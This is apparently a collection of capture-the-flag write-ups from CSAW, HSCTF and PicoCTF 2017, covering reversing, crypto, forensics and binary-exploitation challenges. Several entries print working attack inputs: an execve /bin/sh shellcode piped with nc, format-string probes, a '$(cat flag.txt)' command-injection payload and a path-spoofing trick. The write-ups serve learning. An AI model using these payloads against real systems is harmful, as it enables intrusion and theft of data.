00000000000008dc         movabs     rax, 0xb19965237399711b
00000000000008e6         movabs     rdx, 0xf9279923be111165
00000000000008f0         mov        qword [rbp+var_B0], rax
00000000000008f7         mov        qword [rbp+var_A8], rdx
00000000000008fe         mov        dword [rbp+var_A0], 0x65059923
0000000000000908         mov        word [rbp+var_9C], 0xce


This computes to b1e711f59d73b32730f4f9f9b399beb3b19965237399711bf9279923be11116565059923ce. How will we get the flag though? Well, this is actually computed through the get_tbl_entry fuction. Essentially, in steps of two, search through the trans_tbl table for the corresponding character and return the character above it. The trick is that because it checks from the base address while returning the address offsetted by 1, you pick the character above.

b1 b
e7 4
11 t
f5 {
9d g
73 a
b3 l
27 f

30 u
f4 k
f9 0
f9 0
b3 l
99 _
be e
b3 l

b1 b
99 _
65 3
23 r
73 a
99 _
71 s
1b p

f9 0
27 f
99 _
23 r
be e
11 t
11 t
65 3

65 3
05 m
99 _
23 r

ce }


Therefore, the flag is flag{t4ble_l00kups_ar3_b3tter_f0r_m3}.

# CSAWCTF_2017: Pilot

Category: Pwn Points: 75 Description:

Can I take your order nc pwn.chal.csaw.io 8464 16:05 Eastern: Updated binary

## Write-up

This challenge is a standard buffer overflow, return to shellcode exploit, where the address is fed to you. This is made even simpler through Python.

# ./solve.py
[+] Opening connection to pwn.chal.csaw.io on port 8464: Done
[*] Switching to interactive mode
[*]Command:
$ls flag pilot$ cat flag
flag{1nput_c00rd1nat3s_Strap_y0urse1v3s_1n_b0ys}


Therefore, the flag is flag{1nput_c00rd1nat3s_Strap_y0urse1v3s_1n_b0ys}.

# HSCTF 2017 Writeup

Nothing much important to say, I didn't do too well as I barely had time to spend on HSCTF. It coincided with my exams a little too closely and exams > ctf :c.

# HSCTF_2017: Quartenary

Category: Crypto Points: 100 Description:

What is the flag? 1310122012111303121113131233130212101303120113021211130013111310122012111302121113101233121212211230123013031300120112031211023211101220122113031303121112321310121112321203121112211232131012111232131012211233123212011230123013211230121112121310120212301201123212230232131012201211121212301201121312211303032213131220132112101233121113031232123312331232121113111303121112021201130312111212123313111302 Hint: If you think you are close but it is not working, try adding a leading zero.

## Write-up

We just need to convert it from base-4 to base-10 to base-16 to ASCII. We can use python for this.

$./solve.py thesewordsareputheretofillspace.Thissentenceintentionallyleftblank.theflagis:whydoesnooneusebasefour  Therefore, the flag is whydoesnooneusebasefour. # HSCTF_2017: Alice and Bob Category: Crypto Points: 200 Description: Keith is sitting at home minding other people's business, and tracking conversations between two of their friends, Alice and Bob. However, Alice and Bob aren't real friends of theirs, and Keith has figured out that there is a secret number that Alice and Bob know, but refuse to tell Keith. So, Keith has kept track of the brief conversation between Alice and Bob. Using this transcript, help Keith find out the number that Alice and Bob are keeping to themselves. Alice: Hey Bob! Let's use 987 as our base, and 8911991767204557841 as our prime modulus! Bob: Aren't those numbers too small? Alice: I hope not. Bob: Ok! In that case my public key is 1317032838957486192. Alice: Mine is 731665363559374475. ## Write-up This challenge was much easier solved by iterating upwards rather than by using the BSGS algorithm. Solution $ ./solve.py
a: 1213832
b: 1201905
K: 1715359156632385906


Therefore, the flag is 1715359156632385906.

# HSCTF_2017: Keith and Dawg 2

Category: Crypto Points: 200 Description:

## Write-up

Similar to the "Remember md5?" challenge of PACTF, I'm going to reuse old code!

Therefore, the flag is ywterqtwe.

# HSCTF_2017:

Category: Crypto Points: 100 Description:

Alice is sending a top secret polynomial, P(x), to Bob. You want to know the equation of P(x). In your attempts to intercept their message, you discover only two facts about P(x): It’s coefficients are in the set {0, 1, 2, …, 1000}. P(2017) = 49189926321482294101673925793095 The flag will be P(1).

## Write-up

Create a Python to solve it for you

Solution

Therefore, the flag is 231.

# HSCTF_2017:

Category: Reversal Points: 100 Description:

Too many hashes. Help Keith get to the flag!

## Write-up

Just b64decode it to hex encoding, get the md5 hash and run it against hashkiller.

$./solve.py MD5 of Flag: 4f79807a7c47f697bd5f06beef955cfd SHA1 of Flag: f4fdaef8ade8edf707858fe4294d780d69d4d6a8 Flag: TlZMN09  Therefore, the flag is TlZMN09. # HSCTF_2017: KE1TH Category: Reversal Points: 200 Description: Keith recently coded a small authorization software for his/her computer to hide personal files. Unfortunately, he/she hit his head and forgot his/her password. Now he/she must reverse engineer his/her software to regain his/her password. ## Write-up It's just a small reversing challenge where they already given everything we need. IV? Check. Key? Check. Ciphertext? Check. Solution $ ./solve.py
Flag: this_was_a_short_and_easy_problem_2B3F5AC0


Therefore, the flag is this_was_a_short_and_easy_problem_2B3F5AC0.

# HSCTF_2017: Coin Flip

Category: Algo Points: 100 Description:

Keith has been very bored with his job as an industrial couponer lately, and so he has decided to spend his time flipping coins. The results of his coin flips are in this file. Keith now wants to know how many runs of flips he found. A run is any consecutive sequence of the same flip. For example, the flips 001111101011 have three runs of length one, two runs of length two, and one run of length five. Can you help Keith count runs? The flag is the number of runs of length one, the number of runs of length two, the number of runs of length three, etc. up to the longest run in the sequence, each separated by a comma and a space.

## Write-up

Just remember to count the last bit.

Solution

Therefore, the flag is 249368, 124813, 62558, 31388, 15476, 7891, 3975, 1982, 943, 486, 270, 107, 64, 33, 15, 8, 4, 1, 1, 1.

# HSCTF_2017: Ping Pong

Category: Algo Points: 200 Description:

Keith has encountered a wild Ping Pong interpreter on his hike into the woods. The interpreter will only let him complete his hike if you write a program to find fibonacci numbers! Can you help Keith? Your program must read a number n from input and then print out the nth Fibonacci number. For the purposes of this problem, the first, second, and third numbers of the Fibonacci sequence are 1, 1, 2. n will be in [1, 46], so that fib(n) will be < 2^31 - 1. Netcat to 104.131.90.29:8007.

## Write-up

Not much to say other than fuck this challenge.

Therefore, the flag is PP_0234FB97AA342D.

# HSCTF_2017: Keith And Dawg 1

Category: Forensics Points: 100 Description:

## Write-up

Use Stegsolve. Seriously.

Therefore, the flag is D(oil)>D(water).

# HSCTF_2017: Easy Stegosarus

Category: Forensics Points: 200 Description:

Keith infiltrated the scary evil organization ZORE, and had to fight a cloned stegosaurus! After killing the evil beast, he started to dissect the body for potential information. He found a usb containing two similar looking image files: one called logo.png, and one called changed.png. What secret information could be contained in these strange files?

## Write-up

Just use Stegsolve -> Image Combiner -> Sub.

Therefore, the flag is sammyshouldworkmore.

# HSCTF_2017: Survey

Category: Forensics Points: 50 Description:

A quick survey worth 50 points!

## Write-up

Just do the survey and get the flag.

Therefore, the flag is I love surveys, who doesn't love surveys, let's all take a survey!.

# HSCTF_2017: Basic Bucketfill

Category: Forensics Points: 100 Description:

Keith is in a contest with another colleague, to see who can find the hidden message in the picture. However, they're only allowed to use the most basic editing tools! Can you find out the secret message?

## Write-up

We are given a horrible MS Paint job

If we tweak the colours a bit, we get something more legible

Therefore, the flag is HHA8.

# HSCTF_2017: Keith Shell

Category: Exploitation Points: 100 Description:

Help Keith write a shellcode to get a flag! Netcat to 104.131.90.29:8003

## Write-up

We just need to craft some shellcode to jump to exploit() of address 0x80489fb. So something like this will be sufficient

push 0x80489fb
ret


Translated to opcodes, we get

\x68 \xfb\x89\x04\x08
\xc3


We now have a solution.

$./solve.py [+] Opening connection to 104.131.90.29 on port 8003: Done Flag: 9qCzj0cNsRuwyT6HLIz8RAuBp3NMQ1Bdwm2F2CtquuXea5X0lOWKQ4FeU5fJ [*] Closed connection to 104.131.90.29 port 8003  Therefore, the flag is 9qCzj0cNsRuwyT6HLIz8RAuBp3NMQ1Bdwm2F2CtquuXea5X0lOWKQ4FeU5fJ. # HSCTF_2017: Python Exploitation 2 Category: Exploitation Points: 200 Description: It seems that Keith’s adversary has learned their lesson. This time they are sure their program is secure. Netcat to 104.131.90.29:8006 ## Write-up This one, like the previous one can be done by spawning a shell. Therefore, the flag is next one will be more than just input exploitation. # HSCTF_2017: Python Exploitation 1 Category: Exploitation Points: 100 Description: Seeing a non-web exploitation problem Keith prepared their binary and c knowledge, but to their surprise, it was a .py! Help Keith learn to exploit python programs. Netcat to 104.131.90.29:8005. Note- The flag can be mistaken for an error message. ## Write-up This one was meant to be simple, involving the use of Python 2s completely insecure input() function which uses an eval(raw_input()) wrapper. We can easily hijack this by supplementing the input with the password variable like thisisthepassword or we can take it a step further. For this one though, I'll just be spawning a shell. Therefore, the flag is eh nah. # HSCTF_2017: El Clasico Category: Exploitation Points: 100 Description: Since you’re reading this problem, you’re doing HSCTF, so we (the problem writers) think you’re cool. Keith, however, isn’t so easily convinced. Prove to Keith that you’re cool. Netcat to 104.131.90.29:8001. (Hint) Every CTF has one of these problems. ## Write-up A simple buffer overflow challenge. Be sure to take note of the address before RET. Solution $ ./solve.py
[+] Opening connection to 104.131.90.29 on port 8001: Done
[*] Switching to interactive mode
$git status Cool people get a shell! elclasico elclasico.c flag run fatal: Could not change back to '/root/problems': Permission denied$ cat flag
one_of_these_pops_up_everytiem


Therefore, the flag is one_of_these_pops_up_everytiem.

# PicoCTF_2017 Writeup

This repository serves as a writeup for PicoCTF_2017

## Completed Challenges

Challenges without links are uncompleted/unattempted challenges.

• Tutorial
• Master
• Choose_150
• Forensics
• Cryptography
• ECC2_200
• Reverse Engineering
• Web Exploitation
• Binary Exploitation
• Enter-The-Matrix_150
• Flagsay-2_150
• Aggregator_190
• Chat-Logger_200
• Deeper-Into-The-Matrix_200
• Contact-Helper_225
• Miscellanous

# PicoCTF_2017: Config Console

Category: Binary Exploitation Points: 125 Description:

In order to configure the login messsage for all the users on the system, you've been given access to a configuration console. See if you can get a shell on shell2017.picoctf.com:27124. console Source

Hint:

You can either see where libc is or modify the execution. Is there a way to get the vulnerability to run twice so that you can do both? There's a place in libc that will give you a shell as soon as you jump to it. Try looking for execve.

## Write-up

Initially, through some testings, we find out that it is a format string attackable challenge.

$nc shell2017.picoctf.com 27124 Config action: exit %s %s %s Exit message set! H=???s1?H??Ώ  Through some testings, it seems that the exit command is the only one vulnerable, so we will use that to our advantage. Solution [+] Opening connection to shell2017.picoctf.com on port 27124: Done [*] printf(): 0x00007f4bfa1f6df0 [*] libc: 0x00007f4bfa18d000 [*] magic: 0x00007f4bfa263e77 [+] Please test if shell has spawned [*] Switching to interactive mode w>&?K$ ls
console
flag.txt
xinetd_wrapper.sh
$cat flag.txt 5fb954bad3997c3a640d70207df00356  Therefore, the flag is 5fb954bad3997c3a640d70207df00356. # PicoCTF_2017: Shells Category: Binary Points: 70 Description: How much can a couple bytes do? Use shells Source. Connect on shell2017.picoctf.com:40976. Hint: Read about basic shellcode You don't need a full shell (yet...), just enough to get the flag ## Write-up Before we can craft a shellcode, we need to know the address of our win() function and loading up GDB is our best shot at it. $ gdb shells
GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from shells...(no debugging symbols found)...done.
Symbol "win" is at 0x8048540 in a file compiled without debugging.


Simple, now we know win() is at 0x8048540. Let's craft a really simple push+ret shellcode.

0:  68 40 85 04 08          push   0x8048540
5:  c3                      ret


Put together, this gives us \x68\x40\x85\x04\x08\xC3. Let's try it.

$python -c "print('\x68\x40\x85\x04\x08\xC3')" | nc shell2017.picoctf.com 40976 My mother told me to never accept things from strangers How bad could running a couple bytes be though? Give me 10 bytes: cd875b6ffb5cdd3319532d52ceca71aa  Therefore, the flag is cd875b6ffb5cdd3319532d52ceca71aa # PicoCTF_2017: I've got a Secret Category: Binary Exploitation Points: 75 Description: Hopefully you can find the right format for my secret! Source. Connect on shell2017.picoctf.com:55189. Hint: This is a beginning format string attack. ## Write-up A classic format string attack. $ nc shell2017.picoctf.com 55189
Give me something to say!
%x %x %x %x %x %x %x %x %x %x
40 f7fc7c20 8048792 1 ffffdd34 18d28c09 3 f7fc73c4 ffffdca0 0
Now tell my secret in hex! Secret: 0xf7fc73c4
As my friend says,"You get nothing! You lose! Good day, Sir!"

$cat ~/file - | ./vrgearconsole +----------------------------------------+ | | | | | | | | | Welcome to the VR gear admin console | | | | | | | | | +----------------------------------------+ | | | Your account is not recognized | | | +----------------------------------------+ Please login to continue... Username (max 15 characters): Password (max 31 characters): Your access level is: 0x00000021 Admin access granted! The flag is in "flag.txt". cat flag.txt 5a9aeea545615089851dd6a9b57a3139  Therefore, the flag is 5a9aeea545615089851dd6a9b57a3139. # PicoCTF_2017: Guess The Number Category: Binary Exploitation Points: 75 Description: Just a simple number-guessing game. How hard could it be? Binary Source. Connect on shell2017.picoctf.com:57641. Hint: What is the program doing with your input number? strtol checks for overflow, but it does allow negative numbers... ## Write-up This challenge tests your knowledge on two's complement, bit-shifting and GDB magick. First, let's look at the source code. We really want to win(). void win(void) { printf("Congratulations! Have a shell:\n"); system("/bin/sh -i"); }  GDB time! $ gdb guess_num
GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from guess_num...(no debugging symbols found)...done.
Symbol "win" is at 0x804852b in a file compiled without debugging.


Converting 0x804852b to hexadecimal gives us 134513963 or 1000000001001000010100101011. We need to be able to call upon ((void (*)(void))val)(); to win() it, so now we have to figure out how to make val point to win().

val = strtol(buf, NULL, 10);
printf("You entered %d. Let's see if it was right...\n", val);
val >>= 4;


We see that val gets checked for overflow, and then bit shifted right 4 places. So let's do the same for our pointer, by shifting left 4 places.

1000000001001000010100101011


However, now the binary is too large to enter into the system! But wait! We have two's complement and negative numbers to help us!

10000000010010000101001010110000
-2142743888

$nc shell2017.picoctf.com 57641 Welcome to the number guessing game! I'm thinking of a number. Can you guess it? Guess right and you get a shell! Enter your number: -2142743888 You entered -2142743888. Let's see if it was right... Congratulations! Have a shell: /bin/sh: 0: can't access tty; job control turned off$ ls
flag.txt
guess_num
xinetd_wrapper.sh
$cat flag.txt c2bda0bde530c16fff8a8530addb44f8  Therefore, the flag is c2bda0bde530c16fff8a8530addb44f8. # PicoCTF_2017: Bash Loop Category: Binary Exploitation Points: 40 Description: We found a program that is hiding a flag but requires you to guess the number it is thinking of. Chances are Linux has an easy way to try all the numbers... Go to /problems/bd058e83a119c78a006543d23d9f6422 and try it out! Hint: Either use SSH or use the Web Shell to get onto the shell server and navigate to the correct directory. Then do a quick Google search on 'bash loops'. You may need to use grep to filter out the responses as well! ## Write-up Simple simple, just this code is sufficient! $ for iter in {0..4096}; do /problems/bd058e83a119c78a006543d23d9f6422/bashloop $iter | grep -v "Nope. Pick another number between 0 and 4096"; done Yay! That's the number! Here be the flag: d3aaad36e3947ceed96a916ca92d33b4  Therefore, the flag is d3aaad36e3947ceed96a916ca92d33b4. # PicoCTF_2017: Shellz Category: Binary Points: 55 Description: You no longer have an easy thing to call, but you have more space. Program: shellz! Source. Connect on shell2017.picoctf.com:12562. Hint: There is a bunch of preexisting shellcode already out there! ## Write-up The biggest problem with this challenge is the limited amount of shellcodes that would actually work here. It probably took me like 15 tries before I got the correct shellcode. So first, prepare the payload. python -c "print('\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80')" > payload  Then, use the payload like this cat payload - | nc shell2017.picoctf.com 12562 My mother told me to never accept things from strangers How bad could running a couple bytes be though? Give me 40 bytes: ls flag.txt shellz shellz_no_aslr xinetd_wrapper.sh cat flag.txt a15898b0a97abc19164f240407d6c51b  Therefore, the flag is a15898b0a97abc19164f240407d6c51b. # PicoCTF_2017: Just No Category: Binary Exploitation Points: 40 Description: A program at /problems/7e8b456c98db60be9a33339ab4509fca has access to a flag but refuses to share it. Can you convince it otherwise? Hint: Check out the difference between relative and absolute paths and see if you can figure out how to use them to solve this challenge. Could you possibly spoof another auth file it looks at instead...? ## Write-up Hmm, let's get the flag. $ /problems/7e8b456c98db60be9a33339ab4509fca/justno
auth file says no. So no. Just... no.


Damn it. Let's take a look at the source code. Wait.

FILE* authf = fopen("../../problems/7e8b456c98db60be9a33339ab4509fca/auth","r")


Haha! Relative paths! Now we can simply spoof a directory structure and make a fake auth file.

$cd ~$ mkdir problems
$mkdir problems/7e8b456c98db60be9a33339ab4509fca$ cd problems/7e8b456c98db60be9a33339ab4509fca
$echo "yes" > auth$ /problems/7e8b456c98db60be9a33339ab4509fca/justno
Oh. Well the auth file doesn't say no anymore so... Here's the flag: ddf649b13d560409d2649dc06f2a43ee


Therefore, the flag is ddf649b13d560409d2649dc06f2a43ee.

# PicoCTF_2017: Flagsay 1

Category: Binary Points: 80 Description:

I heard you like flags, so now you can make your own! Exhilarating! Use flagsay-1! Source. Connect on shell2017.picoctf.com:51865.

Hint:

System will run exactly what the program gives it

## Write-up

Another simple 1, looking at the source code reveals that whatever is inputted by the user is then echo by system.

char commandBase[] = "/bin/echo \"%s\"\n";


However, input is unescaped, so we can pass on a shell command like

$nc shell2017.picoctf.com 51865$(ls)
_
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
//flagsay-1
flagsay-1_no_aslr
flag.txt
xinetd_wrapper.sh                              /
//                                   /
//                                   /
//                                   /
//                                   /
//                                   /
//___________________________________/
//
//
//
//
//
//


Then, we can do something like this

$nc shell2017.picoctf.com 51865$(cat flag.txt)
_
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
//2ab2050bf32e84975a10d774a919e1d0                    /
//                                   /
//                                   /
//                                   /
//                                   /
//                                   /
//___________________________________/
//
//
//
//
//
//


Therefore, the flag is 2ab2050bf32e84975a10d774a919e1d0.

# PicoCTF_2017: Tutorial 2

Category: Tutorial Points: 0 Description:

Robin handed me this the other day. Maybe it will help me find the answer?

Hint:

There are a number of solvers on the internet that can help!

## Write-up

A simple ROT-13 cipher,

Lb, fb unir lbh orra cynlvat gung arj Zrfbcrgf tnzr? Gubfr arj Zrtnybalpuvqnr naq Oenqlcbqvqnr gurl nqqrq ner cerggl pbby. Npghnyyl, V jbhyq tb nf sne nf fnlvat gung vg vf abj zl yvsr'f qrnerfg nzovgvba gb bognva n "Vasyngnoyr Fybgu Zbafgre"!


becomes

Yo, so have you been playing that new Mesopets game? Those new Megalonychidae and Bradypodidae they added are pretty cool. Actually, I would go as far as saying that it is now my life's dearest ambition to obtain a "Inflatable Sloth Monster"!


after rotating each character 13 times.

Therefore, the flag is Inflatable Sloth Monster.

# PicoCTF_2017: Tutorial 1

Category: Tutorial Points: 0 Description:

How can you figure out Robin Morris's middle name? Thankfully you have a list you can check!

Hint:

## Write-up

A very simple grep.

$grep -E "^Robin (.*) Morris$" contractors.txt
Robin Almay Morris


Therefore, the flag is, Almay.

# PicoCTF_2017: Tutorial 3

Category: Tutorial Points: 0 Description:

Robin handed me some color codes the other day. They don't look like anything to me though. Can you help me find her favorite shade of red?

Hint:

Once again, there are tools on the interwebz that can help! (There's a clear theme here, from the easiest pico problems, to the hardest ones in other CTFs, search engines are your friend!)

## Write-up

Unfortunately, making an automated tool would be more troublesome. We can use deductive guessing here though, since we know colour codes are RGB. Therefore, we are looking for a value there's greater in the first two hexadecimal digits than the rest.

7A3B00
6000C7
67C700
42FFFC
C70002 <- this seems like the most likely candidate, and it's red too!
0003C7
007A78


Therefore, the flag is, C70002.

# PicoCTF_2017: HashChain

Category: Cryptography Points: 90 Description:

We found a service hiding a flag! It seems to be using some kind of MD5 Hash Chain authentication to identify who is allowed to see the flag. Maybe there is a flaw you can exploit? hcexample.py has some example code on how to calculate iterations of the MD5 hash chain. Connect to it at shell2017.picoctf.com:58801!

Hint:

Connect from the shell with nc. Read up on how Hash Chains work and try to identify what could make this cryptosystem weak.

## Write-up

Another simple one, exploiting vulnerabilities of predictable seeds. In this case, believe it or not, the user ID is the seed! So, we create a solver.py that will use the user id and generate hashes for us.

$nc shell2017.picoctf.com 58801 ******************************************* *** FlagKeeper 1.1 *** * now with HASHCHAIN AUTHENTICATION! XD * ******************************************* Would you like to register(r) or get flag(f)? r/f? f This flag only for user 6208 Please authenticate as user 6208 a9afc1eebbc4c86a23cc8d81c051b0cb Next token?$ ./solver.py 6208 a9afc1eebbc4c86a23cc8d81c051b0cb
10fc2240d4916b2e77469cf1e310d22c
21f044c80db74b5fe6c1faea4593512e
785e2cffc39f5753eeb2dc33dedd546e
5fe144923873f76361753cf7e9773816
14fc0a59aca14517eb2ef5521e6d0d8f
d1c2a8cd294372365f9b173a025c1356
d8cff89e75d3cbbdb49c8c35b9fdc65b
b441b8decd5049a69fb7c48921ff59bb
4a99caa88953724ba0396a3098da8a21
017e464d609a4f580a5e409a5185ed1f
fa1390f653c274e8854654e264a703fb
832eb443801ea8650935cd818ca2e72d
6ccff5926c6ee56eeab799c59a14fc5b
3ccdf2678dc619572864232848ebc61b
8b9697ab88e52b678ecc6f02d3ff7d3f
4d7ed0551984b59bbf1c0ebec93b57cb
b2f7cd6698baf204e7f2ceecbdaf8d60
bc50f9a7eed1c52f6221d8fa0b594fd9
9e4b40d0d7f67b3f79ee5fd820b2efab
74865bfe0fd00a6895e651a5b031faf3
046aff6dd89aec2d411056efc4641f42
75a9de906c65374f87313cda61fa1566
1006016b4424e74dde5c0e42ce86371a
439828238fe9b93c5f35370c27ae237f
2236ab32061954a6773f3d6d98da2db4
c2705c59cc6b8ce46998908d05dc89fd
25c4691e9d5f447e81b61309508793d8
f48ed291cac07e5639053eace029b8c5
487ce2d711a764022cec0687af37fb59
62338b9dc6a88321dfddf7a7c582ee54
89e45113e4688b368765ebcc7693cab2
bdfa144ea642b3cc51cce69f6d1393c4
204c882eaff2d36a4afa3b4178c9ec1a
8992c417a6972f2c34931cf36be96098
5395457726827c22670cbec7205084e8
d6505f6ef735778beb26caeb9dca12b4
654fe8ee272ab72e7bb5ee6e05a87ded
9abbb42a69cb55e8e31424615f1de491
256b1e8a197f8843244399e4a7d00324
9241b69fecb4acb2588d1097c269b231
32e9e49597708d25b416a73a151ae032
f6267eac8bb8c33881c168e3a9e2ecda
2547d685fd5b874450ea49972a5e896a
8214a9ae89884045032246ddb5bcd701
d850a69a279dd554eb05028c255c0835
4b0d94c219dfd2f8f5b26265e3a4869f
7d3bc53a55fd9f254d89b63816152760
f611ae0d6e3e242c49ebc33a82a28cba
a61025c4277dd1dd903b06ab810dc9cb
72f7441a0b91a030ce80d4acd4791d69
854f7c124bc5ea5015b030023092896b
ee064316439b3bee22d758a3ea6fa3df
703c170f27d71bd4b004af41bb59e9e2
b619b9e5be45e1302680f9b6f29bb702
1ce4a7c6db3e137ba49599d57d60b244
463451762aa1c8725b39fbd652cc3a34
b00bcdd13c31df88648cc63dec51c74e
43314ede7bc7f8cc6b21f47ed0b2aa2a
4216d8ed5569f552e98df7ab78115d79
5f07053cb1bc8190d02ce3240a626497
a287e9f97b73dcee12c0d1984037ca0d
debab078f0535660963fb32f601a67e3
a251e04b98e16eed4a6daa120bfe22a3
32fb70d6635fe446e8455a815fd9f11d
ffbbfb30b80d894335ea6fea2611ff1e
427bd88899374a0279ec2fb5ca30cdab
1f75d730830d25f9ae070a7e3631dff4
d7b4b7009c97daafe6def7c1a9720a03
6fdf380e749e0d47cf01ea0f19a6f77f
18b423b6e259fdfb758ac258d3cd39f7
d4f35971293652b92671586cd91be608
c71f5a31122ced70d1307090683aa2f2
fb8deb304d10a20b661fa9a7a8e90888
d92f1345626304a6186eee13d9950413
e22c4da6e22aca3dddf5b7a674d3a3fd
cd634164f94963ac6574d1c4384a8dc3
12eb5d2067008f68ab22be3f1cf0e1aa
2438d9a778a83a027f6871c94a968bcc
815418113755cc74b66dd64edbee9bb0 <- Enter this one
a9afc1eebbc4c86a23cc8d81c051b0cb

815418113755cc74b66dd64edbee9bb0
Hello user 6208! Here's the flag: 9494f4171092452602fa545ab927e99e


Therefore, the flag is 9494f4171092452602fa545ab927e99e.

# PicoCTF_2017: SoRandom

Category: Cryptography Points: 75 Description:

We found sorandom.py running at shell2017.picoctf.com:16768. It seems to be outputting the flag but randomizing all the characters first. Is there anyway to get back the original flag?

Hint:

How random can computers be?

## Write-up

Firstly, it doesn't seem to be a random random.

$nc shell2017.picoctf.com 16768 Unguessably Randomized Flag: BNZQ:449xg472190mwx6869b8pt10rwo92624  Looking in the sorandom.py code, we see that the random generator has already been preseeded! random.seed("random")  $ ./crack.py
FLAG: 107bd559693aef6692e1ed55ebe29514


Therefore, the flag is 107bd559693aef6692e1ed55ebe29514.

# PicoCTF_2017: Hash101

Category: Cryptography Points: 50 Description:

Prove your knowledge of hashes and claim a flag as your prize! Connect to the service at shell2017.picoctf.com:9661

Hint:

All concepts required to complete this challenge, including simple modular math, are quickly found by googling :)

## Write-up

This one is just a mess to document but I'll try my best. Firstly, do take note that none of the values will be the same everytime attempted. We will be using nc to connect as well.

$nc shell2017.picoctf.com 9661 Welcome to Hashes 101! There are 4 Levels. Complete all and receive a prize! -------- LEVEL 1: Text = just 1's and 0's -------- All text can be represented by numbers. To see how different letters translate to numbers, go to http://www.asciitable.com/ TO UNLOCK NEXT LEVEL, give me the ASCII representation of 0111000001101100011000010110100101100100 >plaid Correct! Completed level 1  Fairly simple, level 1 just requires a binary conversion. ------ LEVEL 2: Numbers can be base ANYTHING ----- Numbers can be represented many ways. A popular way to represent computer data is in base 16 or 'hex' since it lines up with bytes very well (2 hex characters = 8 binary bits). Other formats include base64, binary, and just regular base10 (decimal)! In a way, that ascii chart represents a system where all text can be seen as "base128" (not including the Extended ASCII codes) TO UNLOCK NEXT LEVEL, give me the text you just decoded, plaid, as its hex and decimal equivalent hex>706c616964 Good job! 706c616964 to ASCII -> plaid is plaid Now decimal dec>482854660452 Good job! 482854660452 to Hex -> 706c616964 to ASCII -> plaid is plaid Correct! Completed level 2  This one was slightly tricky, because it wasn't asking for the decimal representation of the ascii, but rather the of the hex. ----------- LEVEL 3: Hashing Function ------------ A Hashing Function intakes any data of any size and irreversibly transforms it to a fixed length number. For example, a simple Hashing Function could be to add up the sum of all the values of all the bytes in the data and get the remainder after dividing by 16 (modulus 16) TO UNLOCK NEXT LEVEL, give me a string that will result in a 10 after being transformed with the mentioned example hashing function >18 incorrect. sum of all characters = 105 mod 16 = 9 does not equal 10 >19 Correct! Completed level 3  Just bruteforce it, it's modulus 16, not modulus 2^16. --------------- LEVEL 4: Real Hash --------------- A real Hashing Function is used for many things. This can include checking to ensure a file has not been changed (its hash value would change if any part of it is changed). An important use of hashes is for storing passwords because a Hashing Function cannot be reversed to find the initial data. Therefore if someone steals the hashes, they must try many different inputs to see if they can "crack" it to find what password yields the same hash. Normally, this is too much work (if the password is long enough). But many times, people's passwords are easy to guess... Brute forcing this hash yourself is not a good idea, but there is a strong possibility that, if the password is weak, this hash has been cracked by someone before. Try looking for websites that have stored already cracked hashes. TO CLAIM YOUR PRIZE, give me the string password that will result in this MD5 hash (MD5, like most hashes, are represented as hex digits): 811edc316305926e9883e2c283b8714c >k1dk1n Correct! Completed level 4  Clue has been given, just look to HashKiller You completed all 4 levels! Here is your prize: c3ee093f26ba147ccc451fd13c91ffce  Therefore, the flag is c3ee093f26ba147ccc451fd13c91ffce. # PicoCTF_2017: Broadcast Category: Cryptography Points: 120 Description: You stumbled upon a group Message. Can you figure out what they were sending? The string sent is ascii encoded as a hex number (submit the ascii string as the flag) Hint: The same message, with a small exponent, is being encrypted with several different n values ## Write-up This challenge involves the RSA Hastad Broadcast attack. In a true TLDR fashion, this attack refers to how if a small exponent is used and when a significant number of ciphertexts and public keys have been intercepted, the ciphertext can then be easily cracked. $ ./solve.py


Therefore, the flag is broadcast_with_small_e_is_killer_20472673112.

# PicoCTF_2017: Weird RSA

Category: Cryptography Points: 90 Description:

We recovered some data. It was labeled as RSA, but what in the world are "dq" and "dp"? Can you decrypt the ciphertext for us?

Hint:

## Write-up

Python and BigInteger to the rescue! Link to script. No idea why it would just work with m2 alone, I need to learn my RSA more.

Therefore, the flag is Theres_more_than_one_way_to_RSA.

# PicoCTF_2017: ComputeAES

Category: Cryptography Points: 50 Description:

You found this clue laying around. Can you decrypt it?

Hint:

Try online tools or python

## Write-up

Again using Python, I designed a simple script using pycrypto.

$./decrypt.py flag{do_not_let_machines_win_983e8a2d}__________  Therefore, the flag is flag{do_not_let_machines_win_983e8a2d. # PicoCTF_2017: ComputeRSA Category: Cryptography Points: 50 Description: RSA encryption/decryption is based on a formula that anyone can find and use, as long as they know the values to plug in. Given the encrypted number 150815, d = 1941, and N = 435979, what is the decrypted number? Hint: decrypted = (encrypted) ^ d mod N ## Write-up Math time! Since most calculators have a character limit, let's use a Python calculator! >>> decrypt = (150815 ** 1941) % 435979 >>> print(decrypt) 133337  Therefore the flag is 133337. # PicoCTF_2017: SmallRSA Category: Cryptography Points: 120 Description: You intercepted a single message. However, it appears to be encrypted. Can you decrypt it? Message Hint: Normally, you pick e and generate d from that. What appears to have happened in this case? What is likely about the size of d? ## Write-up This challenge is an implementation of Wiener's RSA attack. I would like to give credits to pablocelayes for his wonderful library for this attack. He saved me from doing math. Script Therefore, the flag is flag{Are_any_RSA_vals_good_95979862524}. # PicoCTF_2017: Substitute Category: Cryptography Points: 40 Description: A wizard (he seemed kinda odd...) handed me this. Can you figure out what it says? Hint: There are tools that make this easy this. ## Write-up An example of a classical substitution cipher, where every letter is most likely not the actual letter. There are indeed many tools that make this easily solvable but my personal 